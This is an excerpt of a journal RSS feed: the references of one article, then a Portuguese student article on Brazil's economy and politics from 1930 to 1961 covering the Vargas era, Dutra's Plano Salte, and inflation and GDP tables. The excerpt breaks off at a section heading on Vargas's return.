<p class="wp-block-paragraph">CHIAVENATO, Idalberto. <em>Administração pública: uma abordagem introdutória.</em> Rio de Janeiro: Elsevier, 2004.&nbsp;</p>



<p class="wp-block-paragraph">_____. <em>Introdução à Teoria Geral da Administração.</em> 7. ed. Rio de Janeiro: Elsevier, 2004.&nbsp;</p>



<p class="wp-block-paragraph">CORDELLA, Antonio; BONINA, Carla M. A public value perspective for ICT-enabled public sector reforms: a theoretical reflection. <em>Government Information Quarterly</em>, v. 29, n. 4, p. 512–520, 2012. DOI: https://doi.org/10.1016/j.giq.2012.01.001.&nbsp;</p>



<p class="wp-block-paragraph">DRUCKER, Peter F. <em>Administração em tempos de grandes mudanças.</em> São Paulo: Pioneira Thomson Learning, 1999.&nbsp;</p>



<p class="wp-block-paragraph">FARIAS, Aderli Vasconcelos Simões. <em>Análise da implementação do Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) na administração pública: estudo no Protocolo Central de uma Instituição de Ensino Superior.</em> 2021. Trabalho de Conclusão de Curso (Graduação) – Universidade Federal do Amazonas, Manaus, 2021.&nbsp;</p>



<p class="wp-block-paragraph">GAETANI, Francisco; PEREIRA, Carlos. <em>Capacidades estatais e burocracias no Brasil: avanços e dilemas.</em> Brasília: IPEA, 2013. Disponível em:&nbsp;https://www.ipea.gov.br/portal/images/stories/PDFs/livros/livros/livro_capacidades_est atais.pdf. Acesso em: 17 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">GIL, Antonio Carlos. <em>Métodos e técnicas de pesquisa social.</em> 6. ed. São Paulo: Atlas, 2008.&nbsp;</p>



<p class="wp-block-paragraph">LAKATOS, Eva Maria; MARCONI, Marina de Andrade. <em>Fundamentos de metodologia científica.</em> 5. ed. São Paulo: Atlas, 2003.&nbsp;</p>



<p class="wp-block-paragraph">LAUDON, Kenneth C.; LAUDON, Jane P. <em>Sistemas de informação gerenciais: administrando a empresa digital.</em> 6. ed. São Paulo: Pearson Prentice Hall, 2004.&nbsp;</p>



<p class="wp-block-paragraph">OCDE. <em>Digital government review of Brazil: towards the digital transformation of the public sector.</em> Paris: OECD Publishing, 2019. Disponível em: https://www.oecd.org/governance/digital-government-review-of-brazil-920b39c1en.htm. Acesso em: 17 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">PRZEYBILOWICZ, Erico; CUNHA, Maria Alexandra; MACAYA, Jaime Fernando. Adoption of e-government platforms: the role of organizational facilitators. <em>Information Technology for Development</em>, v. 24, n. 3, p. 547–566, 2018. DOI: https://doi.org/10.1080/02681102.2017.1393432.&nbsp;</p>



<p class="wp-block-paragraph">REZENDE, Denis Alcides. <em>Planejamento de sistemas de informação e informática: guia prático para governos, instituições públicas, privadas e do terceiro setor.</em> São Paulo: Atlas, 2005.&nbsp;</p>



<p class="wp-block-paragraph">SEFAZ-AM. <em>Estrutura de TI da SEFAZ-AM.</em> Apresentação no evento COGEF – Conselho de Gestores de Finanças Estaduais, 2023. Disponível em: https://www.cogef.ms.gov.br/wp-content/uploads/2023/08/PALESTRA-1-Estrutura-deTI-SEFAZ-AM-COGEF-Manaus-Final-Rodrigo-Albuquerque-SEFAZ-AM-1.pdf. Acesso em: 17 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEVERINO, Antônio Joaquim. <em>Metodologia do trabalho científico.</em> 23. ed. São Paulo: Cortez, 2007.</p>



<p class="wp-block-paragraph">VIEIRA, Márcia; FERREIRA, Luan. <em>Governança digital na gestão pública: desafios e possibilidades.</em> Manaus: Universidade do Estado do Amazonas, 2021. (Produção acadêmica interna – UEA).</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduando em Administração pela Universidade do Estado do Amazonas – E-mail: lsde.adm19@uea.edu.br<br><sup>2</sup>Professor-Orientador.&nbsp; Mestre&nbsp; em&nbsp; Economia.&nbsp; Docente&nbsp; na Universidade do Estado do Amazonas – Email: rpinto@uea.edu.br</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ANÁLISE ECONÔMICA E POLÍTICA DO BRASIL (1930-1961) COM ÊNFASE NO PLANO SALTE E PLANO DE METAS</title>
		<link>https://revistaft.com.br/analise-economica-e-politica-do-brasil-1930-1961-com-enfase-no-plano-salte-e-plano-de-metas/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 23 Jun 2025 14:18:52 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 – Edição 147/JUN 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=224402</guid>

					<description><![CDATA[ECONOMIC AND POLITICAL ANALYSIS OF BRAZIL (1930-1961) WITH AN EMPHASIS ON PLANO SALTE AND PLANO DE METAS ANÁLISIS ECONÓMICO Y POLÍTICO DE BRASIL (1930-1961) CON ÉNFASIS EN EL PLAN SALTE Y EL PLANO DE METAS REGISTRO DOI: 10.69849/revistaft/cl10202506231113 Carlos Prado Ramos Junior1Jhone Ferreira de Araujo2Me. Vasconcelos Zuqui3 RESUMO Este artigo analisa conceitos de macroeconomia aplicados [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">ECONOMIC AND POLITICAL ANALYSIS OF BRAZIL (1930-1961) WITH AN EMPHASIS ON PLANO SALTE AND PLANO DE METAS</p>



<p class="wp-block-paragraph">ANÁLISIS ECONÓMICO Y POLÍTICO DE BRASIL (1930-1961) CON ÉNFASIS EN EL PLAN SALTE Y EL PLANO DE METAS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202506231113</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Carlos Prado Ramos Junior<sup>1</sup><br>Jhone Ferreira de Araujo<sup>2</sup><br>Me. Vasconcelos Zuqui<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Este artigo analisa conceitos de macroeconomia aplicados ao Plano Salte e ao Plano de Metas, no contexto das transformações políticas e econômicas ocorridas no Brasil entre 1930 e 1961. A partir da ascensão de Getúlio Vargas em 1930, observa-se o fortalecimento do Estado como agente econômico, com ênfase em políticas de industrialização. O Plano Salte (1946-1950), do governo Dutra, priorizou investimentos em saúde, alimentação, transportes e energia, mas resultou em aumento da dívida externa. Já o Plano de Metas (1956-1961), sob Juscelino Kubitschek, buscou acelerar o desenvolvimento com foco em setores estratégicos, promovendo a entrada de capital estrangeiro e a modernização da infraestrutura. Ambos os planos representaram tentativas de planejamento econômico voltadas à industrialização e à modernização nacional, ainda que marcadas por limitações estruturais e desequilíbrios macroeconômicos.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Economia; Política; Plano Salte; Plano de Metas.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">This paper analyzes macroeconomic concepts applied to the Salte Plan (Plano Salte) and the Plano de Metas, in the context of the political and economic transformations that occurred in Brazil between 1930 and 1961. Since the rise of Getúlio Vargas in 1930, the strengthening of the State as an economic agent can be observed, with an emphasis on industrialization policies. The Salte Plan (1946-1950), of the Dutra government, prioritized investments in health, food, transportation and energy, but resulted in an increase in foreign debt. The Plano de Metas (1956-1961), under Juscelino Kubitschek, sought to accelerate development with a focus on strategic sectors, promoting the entry of foreign capital and the modernization of infrastructure. Both plans represented attempts at economic planning aimed at industrialization and national modernization, although marked by structural limitations and macroeconomic imbalances.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Economy; Politics; Plano Salte; Plano de Metas.</p>



<p class="wp-block-paragraph"><strong>RESUMEN</strong></p>



<p class="wp-block-paragraph">Este artículo analiza conceptos macroeconómicos aplicados al Plan Salte y al Plano de Metas, en el contexto de las transformaciones políticas y económicas ocurridas en Brasil entre 1930 y 1961. Después del ascenso de Getúlio Vargas en 1930, se observa el fortalecimiento del Estado como agente económico, con énfasis en las políticas de industrialización. El Plan Salte (1946-1950), del gobierno de Dutra, priorizó inversiones en salud, alimentación, transporte y energía, pero resultó en un aumento de la deuda externa. El Plano de Metas (1956-1961), de Juscelino Kubitschek, buscó acelerar el desarrollo con foco en sectores estratégicos, promoviendo la entrada de capital extranjero y la modernización de la infraestructura. Ambos planes representaron intentos de planificación económica orientados a la industrialización y la modernización nacional, aunque marcados por limitaciones estructurales y desequilibrios macroeconómicos.</p>



<p class="wp-block-paragraph"><strong>Palabras-clave</strong>: Economía; Política; Plan de Salte; Plan de Metas.</p>



<p class="wp-block-paragraph"><strong>Introdução</strong></p>



<p class="wp-block-paragraph">O presente artigo tem como objetivo analisar os conceitos da macroeconomia aplicados ao Plano Salte, cujo propósito era promover o desenvolvimento nos setores de transportes, alimentação, energia e saúde, e ao Plano de Metas, do governo de Juscelino Kubitschek, que enfatizava o crescimento econômico. Busca-se, ainda, refletir sobre o contexto político e econômico do Brasil entre 1930 e 1961, a fim de compreender os impactos que as medidas adotadas no período causaram sobre o tesouro nacional e as riquezas do país.</p>



<p class="wp-block-paragraph">Na primeira seção, contextualizamos os dois Planos: Salte e Metas. Ademais, o leitor terá uma imersão na história da política e economia brasileira durante o período de 1930 a 1960. Serão mostrados os dados econômicos e como cada presidente do período chegou à presidência. O presente artigo é um convite ao leitor a conhecer um pouco da história do país.&nbsp;</p>



<p class="wp-block-paragraph">Na segunda seção, ressaltamos a importância dos dois Planos como aspectos positivos para o desenvolvimento econômico do Brasil. Sob essa ótica, destacam-se autores como Antônio Corrêa de Lacerda (1990), que afirma que “[p]odemos, grosso modo, dividir a história econômica do Brasil em duas grandes etapas: o período mercantil, até 1930, e o período industrial, de 1930 em diante”, e Boris Fausto (1994), que defende que “para se obter um recorte do passado, seja ele qual for, obedece-se a um critério de relevância e implica o abandono ou tratamento superficial de processos e episódios”. Em suma, os dois planos representaram marcos significativos na história do Brasil.</p>



<p class="wp-block-paragraph"><strong>O Brasil pré-Dutra:</strong></p>



<p class="wp-block-paragraph">A explicação do Plano Salte e do Plano de Metas requer uma breve pesquisa sobre o status da política e da economia brasileira nos anos que antecederam o governo Dutra. A intenção é de campear o cenário da época e os motivos que levaram o presidente da época a lançar o Plano Salte e, posteriormente, o adjacente presidente a lançar o plano de Metas.</p>



<p class="wp-block-paragraph">Dois autores que escreveram sobre a história do Brasil foram de suma importância nesta seara: Boris Fausto, com sua obra&nbsp;História do Brasil&nbsp;(1995), e Antônio Corrêa de Lacerda, com o livro&nbsp;Economia Brasileira&nbsp;(2010). Fausto oferece uma abordagem abrangente sobre os processos políticos e sociais que moldaram o país, destacando os contextos históricos em que se inserem os planos de desenvolvimento econômico. Sua obra contribui para entender como decisões políticas foram atravessadas por disputas de poder e interesses diversos. Já Lacerda oferece uma análise macroeconômica das transformações estruturais da economia brasileira, dividindo a história econômica do país em fases distintas e destacando o papel do Estado como indutor do desenvolvimento, especialmente a partir da década de 1930. Ambos os autores fornecem subsídios teóricos e históricos fundamentais para compreender o contexto e os impactos do Plano Salte e do Plano de Metas no processo de industrialização e modernização do Brasil.</p>



<p class="wp-block-paragraph">De acordo com Lacerda (2010), Vargas ascende ao posto de presidente do Brasil após a Revolução de 1930, que destituiu Washington Luís e impediu a posse de Júlio Prestes que deveria assumir o cargo após ser eleito. No final da década de 1920 existia uma forte insatisfação com o sistema oligárquico que controlava a política do país, essa insatisfação fora levada a um outro patamar por conta da eleição de 1930. Durante a disputa, Washington Luís deveria apoiar o candidato mineiro como parte do acordo existente entre as oligarquias de Speng. O então presidente decidiu apoiar o paulista Júlio Prestes. Assim, a oligarquia mineira rompeu com São Paulo e aliou-se aos gaúchos, lançando a candidatura de Getúlio Vargas segundo (Fausto, 1995).&nbsp;</p>



<p class="wp-block-paragraph">Lacerda (2010), afirma, assim, que a eleição aconteceu com clima de grande rivalidade e o vencedor foi Júlio Prestes. A chapa de Vargas – de nome Aliança Liberal – não aceitou a derrota e preparou-se para um motim. Quando João Pessoa, vice de Vargas, foi assassinado em Recife, os membros da Aliança Liberal deflagraram um movimento armado contra o presidente. Esse movimento resultou na deposição do então presidente Washington Luís, e uma junta militar assumiu o comando do Brasil, barrando a posse de Júlio Prestes e, em 3 de novembro de 1930, declarou Getúlio Vargas como presidente provisório do país.</p>



<p class="wp-block-paragraph">A Revolução de 30 desencadeou na dimensão econômica uma gigantesca expansão das atividades industriais e cultura urbana (Costa, 2016). A partir de então, expandiu-se uma atuação econômica voltada gradativamente para promover a industrialização. Entretanto, esse movimento mostra-se tardio, visto que as primeiras máquinas de manufaturas movidas a vapor já existiam há mais de 100 anos.</p>



<p class="wp-block-paragraph">Destaca-se também o surgimento da legislação trabalhista como um dos pontos fundamentais para a economia, pois atendia reivindicações da classe operária (Mamigoniam, 2000). Isso sustenta, além deste ponto, que a classe dominante procurava frear a organização do proletariado com a legislação que colocava os trabalhadores sob a tutela do estado, bem como ilustra a lei da sindicalização de 1931.</p>



<p class="wp-block-paragraph">É possível destacar, ainda, que o forte aumento das importações, na casa dos 40% em 1936 e 1937, provocou uma escassez de divisas e forçou o governo a adotar o monopólio cambial, com uma taxa desvalorizada para reduzir o nível de importações. Tal situação mostrava-se positiva para a economia brasileira, que quase sempre era assolada por crises cambiais, permeada por poucos momentos de relativa tranquilidade. Lacerda (2010) afirma que somente após o início da segunda guerra, em 1941, o país passou a apresentar um balanço comercial com superávit, graças ao aumento das exportações aos países aliados.</p>



<p class="wp-block-paragraph">Para garantir o nível de manutenção do emprego e da demanda agregada, conforme foi posteriormente inculcado por John Maynard Keynes, no livro <em>A teoria geral do emprego, do juro e da moeda</em> (1936), era necessária uma intervenção do governo. Para tanto, foram criadas várias empresas estatais que visavam suprir o Brasil com bens de produção e bens de capital, incluindo matéria prima, minérios, combustíveis, motores etc.</p>



<p class="wp-block-paragraph">Lacerda (2010) afirma que o aumento da produção requeria o aumento das importações. Entretanto, no primeiro momento não se mostrou necessário pois existia uma capacidade ociosa pré-existente. Posteriormente, junto com este movimento, crescia também a procura por bens de capital, visto que as importações diminuíram e as exportações cresceram. Isso criou condições perfeitas para a criação de uma indústria de bens de capital movida pela euforia cambial.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Em 1935, as inversões líquidas já ultrapassavam as de 1929, muito embora as importações fossem tão-somente 50% do montante desse ano. Resumindo, os principais dados da produção agrícola e industrial do período mostram um dinamismo surpreendente no contexto da crise mundial, com o aumento da renda nacional, induzido, basicamente, a partir do próprio mercado interno. Enquanto a produção agrícola atingiu 7,5 bilhões de cruzeiros em 1929, dos quais 5,5 bilhões dirigidos a exportações, a produção de 1937 atingiu 7,8 bilhões, sendo 4,5 bilhões para exportações. A exportação diminuiu de 70% para 57% da produção agrícola total. Já o valor da produção industrial cresceu 50% no período 1929-1937, e a produção primária para o mercado interno aumentou 40%. Como resultado, a renda nacional aumentou 20% no período, enquanto a renda <em>per capita</em> subiu 7%. Na mesma época, a renda nacional dos Estados Unidos decresceu, enquanto países com níveis de desenvolvimento similares ao do Brasil e que seguiram políticas econômicas ortodoxas ainda estavam em depressão em 1937. (Lacerda, 2010).</p>
</blockquote>



<p class="wp-block-paragraph">Lacerda (2010) afirma que o saldo deste processo para a economia brasileira foi a rápida ascensão, mesmo em momento de recessão que o mundo passava devido à segunda guerra mundial. Esse fato passou a ser o principal agente de importância na criação de renda interna. Como resultado da crise da desvalorização cambial, além de diminuir importações e aumentar a produção nacional, foi estabelecido um novo nível de preços relativos, com base em indústrias que foram criadas para substituir importações.</p>



<p class="wp-block-paragraph">Entretanto, conforme a segunda guerra mundial avançava, iniciava-se uma recessão em quase todo o planeta, que ainda se recuperava da grande depressão do início do ano 1930 (Carvalho, 2022). Segundo o Escritório Nacional de Pesquisa econômica dos EUA, o PIB americano caiu 10% e o desemprego atingiu 20% e a produção industrial diminuiu 32%. Tal fato apresentou implicações para o cenário brasileiro, conforme explicado Sérgio Birchal<sup>2</sup>. O Brasil passava a fornecer matéria prima para as indústrias americanas produzirem artigos para a guerra, e a demanda dos EUA ditava o ritmo de produção.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">(…) A taxa de crescimento do produto industrial, que havia caído em 1937- 39 para 6,5% ao ano, caiu em 1939-42 para 1,6%. Entre 1942 e 1945, quando a escassez de insumos e de bens de capital tornou-se séria, a taxa média de crescimento foi de 9,9%, comparável à que se verificou entre 1933 e 1939. (…) O produto agrícola médio 1940-42 praticamente estagnou em relação ao de 1936-39; a recuperação pós-1942 foi modesta, pois o produto agrícola médio 1943-45 foi apenas 8% superior ao de 1936-39. Assim, a taxa de crescimento do PIB, que já havia caído a 3,5% ao ano em 1937-39, atingiu 0,4% ao ano em 1939-42, antes de recuperar-se para 6,4% ao ano em 1942- 45 (LACERDA, 2010)</p>
</blockquote>



<p class="wp-block-paragraph">Com isto, conforme iam-se passando os anos do governo Vargas e este tendia a findar-se, a inflação crescia desenfreadamente, alcançando a marca dos 20,6% em 1944 e 14,9% em 1945. O PIB caiu, chegando à marca negativa de -2,7 em 1942 e o presidente completou o seu mandato em 1945 entregando o PIB em 3,2%, como podemos visualizar na tabela e gráficos abaixo, que trazem os dados do PIB e inflação dos 10 anos que antecederam o governo Dutra:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 </strong>&#8211; Produto Interno Bruto e inflação no Governo Dutra<em> (</em>Fonte: (Dados IBGE; fontes históricas do Brasil e Infográficos Gazetadopovo.com)</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Ano</strong></td><td class="has-text-align-center" data-align="center"><strong>PIB</strong></td><td class="has-text-align-center" data-align="center"><strong>Inflação</strong></td></tr><tr><td class="has-text-align-center" data-align="center">1936</td><td class="has-text-align-center" data-align="center">12,1</td><td class="has-text-align-center" data-align="center">1,6</td></tr><tr><td class="has-text-align-center" data-align="center">1937</td><td class="has-text-align-center" data-align="center">4,6</td><td class="has-text-align-center" data-align="center">9,4</td></tr><tr><td class="has-text-align-center" data-align="center">1938</td><td class="has-text-align-center" data-align="center">4,5</td><td class="has-text-align-center" data-align="center">3,2</td></tr><tr><td class="has-text-align-center" data-align="center">1939</td><td class="has-text-align-center" data-align="center">2,5</td><td class="has-text-align-center" data-align="center">2</td></tr><tr><td class="has-text-align-center" data-align="center">1940</td><td class="has-text-align-center" data-align="center">-1</td><td class="has-text-align-center" data-align="center">6,7</td></tr><tr><td class="has-text-align-center" data-align="center">1941</td><td class="has-text-align-center" data-align="center">4,9</td><td class="has-text-align-center" data-align="center">10,2</td></tr><tr><td class="has-text-align-center" data-align="center">1942</td><td class="has-text-align-center" data-align="center">-2,8</td><td class="has-text-align-center" data-align="center">16,2</td></tr><tr><td class="has-text-align-center" data-align="center">1943</td><td class="has-text-align-center" data-align="center">8,5</td><td class="has-text-align-center" data-align="center">16,6</td></tr><tr><td class="has-text-align-center" data-align="center">1944</td><td class="has-text-align-center" data-align="center">7,6</td><td class="has-text-align-center" data-align="center">20,6</td></tr><tr><td class="has-text-align-center" data-align="center">1945</td><td class="has-text-align-center" data-align="center">3,2</td><td class="has-text-align-center" data-align="center">14,9</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1 </strong>&#8211; Produto Interno Bruto e inflação no Governo Dutra (Fonte: (Dados IBGE; fontes históricas do Brasil e InfograficosGazetadopovo.com)</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="484" height="294" src="https://revistaft.com.br/wp-content/uploads/2025/06/image-1835.png" alt="" class="wp-image-224412" srcset="https://revistaft.com.br/wp-content/uploads/2025/06/image-1835.png 484w, https://revistaft.com.br/wp-content/uploads/2025/06/image-1835-300x182.png 300w" sizes="(max-width: 484px) 100vw, 484px" /></figure>



<p class="wp-block-paragraph">Com a economia brasileira a definhar, o estado novo que fora arquitetado como um regime autoritário e modernizador chegava ao fim, pois figuras importantes da política nacional (Afonso Arinos, Virgílio de Melo Franco, o ex-presidente Arthur Bernardes, Milton Campos, Pedro Aleixo, Odilon Braga e Osvaldo Aranha, este último íntimo de Vargas pois era seu ministro das relações exteriores) assinaram um manifesto em uma linha liberal, no qual se insuflava no Brasil a instalação de um verdadeiro campo democrático (Fausto, 1995).</p>



<p class="wp-block-paragraph">Contudo, de acordo com Fausto (1995), outro fator ponderável para a democratização aconteceu em 1943. Um grupo de estudantes emergiu na luta contra a ditadura e constituíram a União Nacional dos Estudantes (UNE)<sup>3</sup>. Por sua vez, a imprensa buscava cada vez mais burlar a censura, o que mostra clara evidência de perda de força de regimes autoritários.</p>



<p class="wp-block-paragraph">Diante de tudo o que acontecia, Vargas viu-se imposto a promulgar o Ato Adicional – A Carta de 1937 – convocando eleições gerais e fixando um prazo de 90 dias para que acontecessem. Exatamente 90 dias após, era decretado o novo código eleitoral, que regulava as eleições gerais para presidente e assembleia constituinte, que aconteceriam em 02 de dezembro de 1945 (Fausto, 1995).</p>



<p class="wp-block-paragraph"><strong>O Plano Salte:</strong></p>



<p class="wp-block-paragraph">No ano de 1946, após a redemocratização do Brasil, o cenário econômico brasileiro, agora no governo Dutra, foi marcado por conflitos entre o liberalismo e os industrialistas. Alguns problemas relacionados à inflação e reserva cambial ficaram evidentes, fazendo-se necessário o investimento na área de saúde, alimentação, transportes e energia para a retomada do crescimento econômico, tendo em vista investimentos públicos e privados, onde mais tarde originou o Plano Salte (Bielschowsky, 2020).</p>



<p class="wp-block-paragraph">Quando iniciou seu mandato, Eurico Gaspar Dutra tinha como objetivo controlar a inflação herdada pelo governo de Vargas onde seriam necessárias medidas de controle para frear o consumo e assim desacelerar a economia através do aumento da carga tributária e redução de gastos públicos. Entretanto, em meados de seu mandato, uma crise cambial o forçou a abrir novamente o mercado, uma vez que a moeda vinha se desvalorizando pelas medidas liberais adotadas por sua gestão.</p>



<p class="wp-block-paragraph">Segundo Bastos (2010), esse movimento em direção à abertura comercial causou incômodo na classe industrialista pois consistia em reduzir lucros extraordinários e forçá-los a modernizar seus processos produtivos para aumentar a oferta de bens e consumos demandada pela sociedade. O autor afirma que</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">[&#8230;] a crise da estratégia liberal não resultou de uma reviravolta ideológica e política desenvolvimentista, mas de sua própria insustentabilidade econômica, manifesta na crise cambial que induziu a reversão da abertura (Bastos, 2010, p. 21)</p>
</blockquote>



<p class="wp-block-paragraph">Na concepção de Bielschowsky (2020), a crise cambial uniu a grande burguesia comercial e industrialista em torno de um objetivo que era o projeto de industrialização dos setores improdutivos, o qual não interessava o setor privado. Sendo assim, o governo Dutra se deparou com alguns problemas pertinentes à volta do crescimento econômico e avanço na modernização da agricultura. O país necessitava de uma reestruturação desses setores improdutivos, dando origem ao Plano Salte.</p>



<p class="wp-block-paragraph">Ayres e Fonseca (2017) argumentam que em mensagem presidencial de 1947, ao relacionar problemas enfrentados com necessidades de investimentos, o presidente Dutra enfatizava os problemas legados da guerra e que causavam prejuízos ao processo de importação de bens essenciais, tais como combustíveis, alimentos, equipamento industrial e de transporte. Os autores afirmam que o presidente acreditava que a inflação era um dos principais problemas econômicos. Dessa forma, em seu primeiro ano de governo, Dutra se dedicou à estabilização de preços “através da redução do meio circulante e corte de gastos públicos”.</p>



<p class="wp-block-paragraph">No que se refere à saúde, de acordo com Campos (2006, p. 71), o cenário nacional se encontrava na época com</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">[&#8230;] enfermidades mais devastadoras para a população civil: esquistossomose, ancilostomose, peste bubônica, lepra, tracoma, boubas, varíola, tuberculose, doenças do aparelho respiratório, além das doenças nutricionais e de um alto índice de mortalidade infantil. Quanto ao então principal problema de saúde pública no Brasil, a tuberculose [&#8230;]&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Na área de alimentação, o governo incluiu o setor de alimentação no plano para atender a demanda de itens essenciais. Segundo Ayres e Fonseca (2017), havia uma preocupação com a oferta de bens básicos, principalmente no que se refere a itens de alimentação, ao mercado interno.</p>



<p class="wp-block-paragraph">Na área de transportes, com o aumento de importações de caminhões, foi identificada uma grande deficiência nos meios de transporte. A proposta era a construção de ferrovias e reaparelhamento dos portos. Segundo Bielschowsky (2020, p. 15), a “normalização do comércio internacional permitiu o aumento da importação de caminhões, mas as rodovias eram muito precárias” e saturou o porto de Santos. Assim, de acordo com o autor, a concorrência com os caminhões resulta em uma estagnação da carga transportada, causando grandes prejuízos na maioria das ferrovias.&nbsp;</p>



<p class="wp-block-paragraph">Já em relação à energia, Saretta (1990, p. 249) afirma que seria necessário “[&#8230;] dotar o País de energia suficiente, fundamental para o crescimento e diversificação do sistema econômico, principalmente da indústria”. Essa constatação evidencia o papel estratégico da energia como base para a sustentação de um projeto nacional de desenvolvimento. Sem uma matriz energética sólida, estável e em expansão, torna-se inviável garantir a continuidade de processos industriais, a modernização de infraestruturas e a integração de diferentes regiões ao circuito produtivo nacional. A ampliação da oferta energética, portanto, não era apenas uma demanda técnica, mas uma exigência política e econômica, diretamente relacionada à capacidade do Estado de promover autonomia produtiva e reduzir a dependência externa em setores-chave. Nesse sentido, os investimentos em energia apareciam como condição indispensável para o fortalecimento da indústria nacional e, por consequência, para a consolidação de um modelo de desenvolvimento mais robusto e soberano.</p>



<p class="wp-block-paragraph">Ainda que se tenha identificado tais problemas de infraestrutura e necessidades básicas, o Plano Salte foi pouco eficiente. Para Saretta (1990, p. 425) “o Plano SALTE teve resultados pouco significativos: apenas uma quarta parte dos projetos alcançou índices de execução em torno de 75%”.</p>



<p class="wp-block-paragraph"><strong>Cenário político e econômico entre o plano salte e plano de metas</strong></p>



<p class="wp-block-paragraph">Para Fausto (1995), apesar de o Brasil possuir um plano financeiro favorável devido às exportações durante o período da guerra, a política liberal de Dutra fracassou. Uma enorme onda de importações de todos os tipos de bens de consumo esgotou as divisas financeiras nacionais sem trazer nada de positivo. Neste ponto, Dutra viu-se obrigado a intervir desestimulando as importações e criando estímulos à produção no mercado interno. Por fim, o governo Dutra teve resultados positivos. Foi possível notar um crescimento no PIB de 8% entre 1948 e 1950. Entretanto, é notório que a repressão sindicalista elevou o custo de vida, ao mesmo tempo que havia uma compressão nos salários. Calcula-se que entre 1949 e 1951 o custo de vida em São Paulo aumentou em 15% e no Rio de Janeiro o aumento foi de 23%, em contrapartida o salário médio cresceu apenas entre 10,5% e 12%.</p>



<p class="wp-block-paragraph">Todavia, conforme Fausto (1995), a inflação avançava vertiginosamente ao que pendia ao fim do governo Dutra, índice este que alcançou a marca de 2,7% em 1947 e posteriormente alcançou a marca de 11,9% em 1951, e em 1953 teve um alcance de 20,8%, como pode ser visto na tabela e gráfico abaixo.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2 </strong>– Inflação período 1946 a 1953.<em> (</em>Fonte: Boris Fausto – Livro História do Brasil, 1995)</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Ano</strong></td><td class="has-text-align-center" data-align="center"><strong>Inflação</strong></td></tr><tr><td class="has-text-align-center" data-align="center">1946</td><td class="has-text-align-center" data-align="center">22,6%</td></tr><tr><td class="has-text-align-center" data-align="center">1947</td><td class="has-text-align-center" data-align="center">2,7%</td></tr><tr><td class="has-text-align-center" data-align="center">1948</td><td class="has-text-align-center" data-align="center">8,7%</td></tr><tr><td class="has-text-align-center" data-align="center">1949</td><td class="has-text-align-center" data-align="center">12,2%</td></tr><tr><td class="has-text-align-center" data-align="center">1950</td><td class="has-text-align-center" data-align="center">12,4%</td></tr><tr><td class="has-text-align-center" data-align="center">1951</td><td class="has-text-align-center" data-align="center">11,9%</td></tr><tr><td class="has-text-align-center" data-align="center">1952</td><td class="has-text-align-center" data-align="center">12,9%</td></tr><tr><td class="has-text-align-center" data-align="center">1953</td><td class="has-text-align-center" data-align="center">20,8%</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 2</strong> &#8211; Inflação período 1946 a 1953.<em> (</em>Fonte: Boris Fausto – Livro História do Brasil, 1995)</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="535" height="325" src="https://revistaft.com.br/wp-content/uploads/2025/06/image-1834.png" alt="" class="wp-image-224407" srcset="https://revistaft.com.br/wp-content/uploads/2025/06/image-1834.png 535w, https://revistaft.com.br/wp-content/uploads/2025/06/image-1834-300x182.png 300w" sizes="(max-width: 535px) 100vw, 535px" /></figure>



<p class="wp-block-paragraph">Conforme pode ser visto no gráfico da inflação, no período de 1946 a 1953, atingiu níveis alarmantes partindo de apenas 2,7% no primeiro ano de Dutra, para incríveis 20,8% no último ano de seu governo. Mostra-se notório como Dutra perdeu o controle no final de seu mandato.</p>



<p class="wp-block-paragraph"><strong>Entre transições e desafios: o panorama político brasileiro de 1951 a 1956</strong> <strong>a volta de Vargas</strong></p>



